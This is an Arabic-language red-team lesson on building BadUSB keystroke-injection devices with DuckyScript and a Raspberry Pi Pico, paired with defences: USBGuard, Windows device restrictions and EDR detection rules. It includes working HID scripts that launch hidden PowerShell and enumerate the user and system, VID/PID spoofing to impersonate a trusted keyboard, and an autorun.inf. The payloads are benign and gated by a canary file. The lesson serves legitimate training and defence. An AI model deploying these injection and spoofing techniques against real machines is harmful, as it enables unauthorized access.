الفرق الحمراء — الهجومخبير90mL55

USB Attack Lab — اعمل BadUSB بإيدك

DuckyScript و Pi Pico — والدفاع اللي بيقفل عليه

#DuckyScript#Pi Pico#CircuitPython#USBGuard#GPO

نطاق الدرس — الورشة، مش الجريمة

الدرس اللي فات (usb-network-implants) شرح ايه ده ولـ ايه. الدرس ده هيرد على سؤال إزاي نبنيها بإيدينا في lab معتمد، وإزاي نكتشفها كـ defenders. كل الأكواد اللي هنشوفها تعليمية بحتة: بتفتح Notepad، بتكتب marker في ملف، بتطبع رسالة. مفيش C2، مفيش data exfil. بنتعلم نفكّ القفل، مش نسرق.

تشبيه — شرح مبسط
الفرق بين إنك تدرس القفل، وإنك تكسر قفل بيت جارك. إحنا في الورشة. بنفكّ القفل. بنرسم الميكانيكية. وبنصمّم قفل أصعب. المهارة دي مش بتتنقّل لباب الجار. ولو نقلتها — انت مش لوكسميث. انت حرامي. خلاص.
حدود قانونية ناشفة
  • كل سكربت هنا قانوني بس على: جهازك، VM في الـ lab بتاعك، red team بـ contract موقّع، أو تقييم حكومي بتفويض.
  • تشغيل أي حاجة من دول على جهاز زميل/أهل/شركة بدون ورق = جناية تحت CFAA §1030(a)(5)(A).
  • حتى "هزار" على جهاز حد تاني ممكن يفتحلك file فيدرالي. ما تعكّش.

إعداد مختبر آمن قبل أي شيء

01
VM معزولة

VirtualBox أو VMware Workstation. Windows 10/11 trial أو Linux. شبكة Host-Only أو Internalلا NAT ولا Bridge. snapshot قبل كل تجربة.

02
ممرّ USB إلى الـ VM

VirtualBox: Devices → USB → اختر الجهاز. هذا يضمن أن BadUSB لا يلمس المضيف الحقيقي. لو كنت على Mac/Linux مضيف، الأفضل استخدام آلة فيزيائية "قربان" قديمة.

03
أدوات تحتاجها
  • Hak5 Payload Studio (مجاني، ويب) — لكتابة DuckyScript.
  • Raspberry Pi Pico ($4) — أرخص بديل عن Rubber Ducky ($60).
  • CircuitPython + مكتبة adafruit_hid — ما يحوّل Pico لـ HID.
  • محرر نصوص + Wireshark + USBPcap (لتحليل ما يحدث على ناقل USB).
04
منطق "canary" في كل سكربت تجريبي

علشان نتجنب الكارثة، خلي كل سكربت يدوّر على ملف C:\\LAB_OK.txt الأول، ولو ملقاهوش يخرج فوراً من غير ما يعمل حاجة. لو الـ USB وقع منك على الأرض ولقاه حد ووصّله بجهازه، مش هيحصل أي حاجة. ده اسمه "canary" — حياتك المهنية متعتمدش على إنك متفقدش حاجة.

مثال 1 — DuckyScript: "hello world" لـ BadUSB

أبسط سكربت ممكن في الدنيا. بيفتح Notepad ويكتب فيه. هدفنا الوحيد دلوقتي: نفهم بنية DuckyScript قبل ما نروح لأي حاجة معقدة. خد الحاجة على مهلك.

DuckyScript
REM أبسط PoC تعليمي — يفتح Notepad ويكتب علامة
DELAY 1500            REM انتظر تعرّف النظام على "لوحة المفاتيح"
GUI r                 REM Win+R = فتح Run
DELAY 300
STRING notepad
ENTER
DELAY 800
STRING USB lab test - educational only - $(Get-Date)
ENTER
STRING This file proves the HID could type. No payload executed.

اللي بنتعلمه من ده: ضربات المفاتيح (STRING)، المفاتيح الخاصة (GUI, ENTER)، وأهمية DELAY — لو شيلتها، السكربت هيكتب قبل ما Notepad يفتح، والإدخال هيضيع في الهوا. التوقيت هو نص اللعبة.

مثال 2 — DuckyScript بـ canary وحدود تنفيذ آمنة

DuckyScript
REM PoC تعليمي مع canary — لن ينفذ ما لم يجد ملف اختبار
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (Test-Path C:\LAB_OK.txt) { Add-Content C:\LAB_OK.txt ('USB-PoC ran at ' + (Get-Date)) } else { exit }"
ENTER

سطر واحد PowerShell بيتأكد إن العلامة موجودة. لو الـ USB دخل على جهاز مفهوش C:\\LAB_OK.txt، مش هيحصل ولا حاجة. ده نمط "safety net" لازم في أي معمل تدريب محترم.

اوعى تستهين بالـ canary — قصة حقيقية
في 2019، فريق جامعي ضيّع USB "معطّل" في كافيه. حد لقاه. وصّله بـ laptop شخصي. لو كان عليه canary، مكنش حصل أي حاجة. ومحدش هيحس. من غيره — الفريق دفع غرامة، وكاد يخسر certifications. واتسجّل عليهم incident. الـ canary مش "best practice" يا مستجد. ده الفرق بين operator محترم، وبين شغل عبيط. اوي.

مثال 3 — اكتشاف بيئة قبل الإقلاع

سكربت تعليمي بيكتب نوع الـ OS ولغة الكيبورد في ملف. ده نمط بيستخدمه المهاجمين فعلاً علشان يعدّلوا الحمولة بناءً على البيئة — بس إحنا هنا بنقف عند حد "اعرف بس"، مش أكتر.

DuckyScript
REM PoC: enumerate environment, write to file, exit
DELAY 1500
GUI r
DELAY 300
STRING powershell -w hidden -nop -c "if (-not (Test-Path C:\LAB_OK.txt)) { exit }; $info = @{ os = $PSVersionTable.OS; user = $env:USERNAME; lang = (Get-Culture).Name; time = (Get-Date) }; $info | Out-File C:\LAB_OK.txt -Append"
ENTER

القيمة الحمائية: لازم تفهم إن المهاجم محتاج من 5 لـ 15 ثانية علشان يجمع المعلومة الأولية دي. EDR بيصطاد "PowerShell hidden اشتغل بعد ثواني من USB plug" بيكسر السلسلة كلها قبل ما تبدأ أصلاً.

مثال 4 — Raspberry Pi Pico كـ BadUSB بـ $4

Pi Pico بـ CircuitPython + adafruit_hid يكافئ Rubber Ducky تجارياً. كامل الكود تعليمي ومفتوح:

01
إعداد Pico
  • حمّل firmware CircuitPython من circuitpython.org اضغط زر BOOTSEL أثناء التوصيل، اسحب ملف .uf2 إلى الـ drive الذي يظهر.
  • انسخ مكتبة adafruit_hid إلى مجلد /lib في الـ Pico.
  • عدّل code.py أدناه.
python
# code.py — PoC تعليمي على Raspberry Pi Pico
# يفتح Notepad ويكتب علامة، ثم يتوقف نهائياً.
# لا يحوي اتصال شبكي ولا تنفيذ ثنائي.

import time
import board
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

# تأخير الإقلاع — ينتظر تعرّف النظام على HID
time.sleep(2.5)

kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)

# Win+R
kbd.send(Keycode.GUI, Keycode.R)
time.sleep(0.4)

# اكتب الأمر
layout.write("notepad\n")
time.sleep(1.0)

# اكتب رسالة تعليمية ثم توقف
layout.write("Pi Pico BadUSB lab test - educational PoC only.\n")
layout.write("No network, no exec, no payload.\n")

# قفل لمنع تكرار التنفيذ
while True:
    time.sleep(60)
لماذا Pico أهم تعليمياً من Rubber Ducky
الـ Rubber Ducky صندوق أسود — تشتريه وتستخدمه وخلاص. الـ Pico مفتوح: بتشوف الـ firmware، التوقيت، كل API. بتتعلم الـ enumeration بيشتغل إزاي، بتفهم ليه التأخير 2.5 ثانية تحديداً، بتشوف بعينك الـ VID/PID بيتغير إزاي. ده بالظبط اللي بيخلّيك defender شاطر.

مثال 5 — انتحال جهاز موثوق (VID/PID spoofing)

كل جهاز USB بيقدم نفسه بـ Vendor ID + Product ID. أنظمة الـ GPO أحياناً بتسمح بـ "Logitech keyboards" بس. الهجوم؟ عدّل الـ descriptors تقول إنك Logitech، وخلاص دخلت.

python
# في boot.py على Pico — قبل أي شيء آخر
import usb_hid
import supervisor

# أمثلة VID/PID — موجودة في قواعد بيانات USB-IF العامة
# 046d:c31c = Logitech generic keyboard
supervisor.set_usb_identification(
    manufacturer="Logitech",
    product="USB Keyboard",
    vid=0x046D,
    pid=0xC31C,
)
الحماية — VID/PID لوحده مش حماية، ده تمثيل حماية
whitelist بـ VID/PID لوحدها = أمن مزيف، تياترو. الحماية الجاد محتاج: (VID + PID + Serial Number). الـ Serial ده فريد لكل جهاز مادي. USBGuard على Linux وDevice Installation Restrictions على Windows بيدعموا الكلام ده. كل كيبورد في الشركة مسجّل بـ serial، وأي حاجة جديدة = مرفوضة على باب المصنع.

مثال 6 — autorun الكلاسيكي (لِمَ ما زال يهم)

متعطّل افتراضياً من أيام Windows 7 SP1، بس: (أ) أنظمة OT/ICS كتير لسه شغالة على XP أو 7 RTM لحد دلوقتي، (ب) في GPOs بتعيد تشغيله علشان "الراحة". الكلاسيك مش بيموت.

ini
; autorun.inf تعليمي — على XP/7 RTM يفتح ملف عند الإدخال
[autorun]
open=demo.exe
icon=demo.ico
label=Lab USB
action=Open lab demo
الحماية
  1. تأكد عبر GPO أن NoDriveTypeAutoRun = 0xFF.
  2. على ICS: ابن "USB sanitization kiosk" (Olea, OPSWAT) قبل أي توصيل بشبكة OT.
  3. افحص الـ USB في sandbox منفصل (Cuckoo, ANY.RUN) إن كان مصدره خارجياً.

مثال 7 — رؤية ما يحدث على الناقل (USBPcap)

قبل ما تدافع، شوف. Wireshark + USBPcap على Windows أو usbmon على Linux بيوريك كل packet من الـ HID. اللي مش بتشوفه، مش هتقدر تمسكه.

$ # Linux — مراقبة USB bus 1:
$ sudo modprobe usbmon
$ sudo wireshark -i usbmon1 -k
$ # في Wireshark، فلتر للـ HID فقط:
$ usbhid.data
URB_INTERRUPT in 0x04 0x00 0x15 0x00 0x00 ... ← keystroke 'r'
URB_INTERRUPT in 0x00 0x00 0x00 0x00 0x00 ... ← key release

الرؤية دي بتكشف حقيقة بسيطة: الـ Pico/Ducky بيطلع عشرات الـ keystrokes في الثانية الواحدة. مفيش بني آدم بيكتب بالإيقاع ده. التوقيع التحليلي بسيط جداً والـ EDR بيمسكه من غير مجهود.

بناء الحماية طبقة طبقة

طبقة 1 — السياسة (Policy)
  • سياسة USB مكتوبة وموقّعة. حظر افتراضي، استثناءات بطلب.
  • تدريب موظفين كل 6 أشهر بـ drop-test فعلي.
  • في OT/ICS: كل USB يدخل عبر kiosk تنظيف فقط.
طبقة 2 — التحكم التقني على المضيف
  • Windows GPO: Computer Configuration → Administrative Templates → System → Device Installation → Device Installation Restrictions. اسمح فقط بـ device IDs محددة.
  • USBGuard على Linux:
bash
sudo apt install usbguard
sudo usbguard generate-policy > /etc/usbguard/rules.conf
sudo systemctl enable --now usbguard
# قاعدة مثال — اسمح فقط بـ keyboard مسجّل بـ serial:
# allow id 046d:c31c serial "ABC123XYZ"
# block
  • macOS: اطلب موافقة لكل ملحق USB جديد (System Settings → Privacy & Security → Allow accessories).
  • BIOS: عطّل USB boot، اقفل BIOS بكلمة سر، عطّل منافذ غير مستخدمة فيزيائياً (epoxy في بعض بيئات SCIF).
طبقة 3 — اكتشاف على EDR
  • قاعدة Sigma: "HID device added then PowerShell.exe child of explorer.exe within 10s" → high-severity alert.
  • قاعدة: "keystroke rate > 300 chars/sec" — لا بشري يكتب بهذا.
  • قاعدة: "new VID/PID combination not in CMDB" → quarantine.
  • تتبع DeviceEvents في Microsoft Defender for Endpoint — لها schema جاهز.
طبقة 4 — اكتشاف على الشبكة (لو فلت BadUSB)
  • egress baseline: لو محطة عمل فجأة فتحت اتصال خارجي بنطاق غير مألوف خلال دقيقة من event "USB inserted" → تحقيق.
  • Sysmon Event ID 22 (DNS query) + Event ID 1 (Process create) للـ powershell.exe = correlation قوية.
طبقة 5 — الفيزيائية
  • أغطية USB مقفلة (PadJacks).
  • كاميرات مراقبة تركّز على المنافذ في غرف الخوادم/SCADA.
  • سياسة "لا أجهزة شخصية" في مناطق تصنيف.

قائمة فحص للـ Red Team — قبل التشغيل في عملية مرخّصة

  • تفويض مكتوب يغطي USB drops و BadUSB صريحاً (Rules of Engagement).
  • تحديد المواقع المسموح إسقاط USB فيها — لا تتسلل إلى مناطق ليست في النطاق.
  • كل USB يحوي canary — لن ينفذ خارج الـ environment المتفق عليه.
  • تسجيل serial numbers لكل قطعة — حتى يُمكن استرجاعها بعد العملية.
  • POC إخطار للمدير الأمني للهدف لو شيء انفلت من السيطرة.
  • تقرير ما بعد العملية: ماذا التُقط، كم نقر المستخدمون، ما الكشف الذي عمل، ما الذي فشل.
غلطات الـ junior في USB labs
  • بيـ test الـ Pico على جهازه الشخصي بدون VM. الـ keystrokes ممكن تشغّل حاجة في background ما حسبهاش.
  • بينسى يحط delay كافي بين GUI r والـ STRING. النتيجة: الـ command بيتلخبط مع UI animation.
  • بيستخدم default VID/PID للـ Pico. الـ device control عند العميل بيلاقطه فوراً.
  • بيـ drop USBs قبل ما يتأكد من الـ ROE. لو الـ USB راح للجهاز الغلط، انت في مشكلة قانونية.

الخلاصة الناشفة

الـ USB attacks تقنية بسيطة: HID class trust + speed + delay. الـ defense ضدها مش معقد، بس محتاج discipline:

  1. USBGuard / Device Installation Restrictions بـ VID + PID + Serial.
  2. EDR rule على keystroke rate > 300/sec أو HID جديد بعده PowerShell في 10 ثواني.
  3. egress baseline — لو محطة فتحت اتصال خارجي بعد USB insert، تحقيق فوري.
  4. physical lockdown في environments حساسة. PadJacks، epoxy، أو ببساطة موظف أمن.

مفيش حاجة من دول مكلّفة. كلها policy + config. اللي بيفصل الـ blue team الجاد عن غيره مش الـ tools — هو إنه عمل الـ config.

اكتبها على كشكولك:

الـ USB attack محلول من 2014. لو لسه بيتكسرلك — أنت مش بتتهاجم، أنت بتسيب الباب مفتوح. خلاص.

مراجع تطبيقية

  • Hak5 DuckyScript 3.0 reference — اللغة الكاملة
  • Adafruit CircuitPython HID guide — لـ Pi Pico
  • Microsoft Device Installation Restrictions docs
  • USBGuard project (github.com/USBGuard)
  • Sigma rules repo: rules/windows/sysmon — usb_ patterns
  • SANS FOR509 / FOR526 للـ memory/USB forensics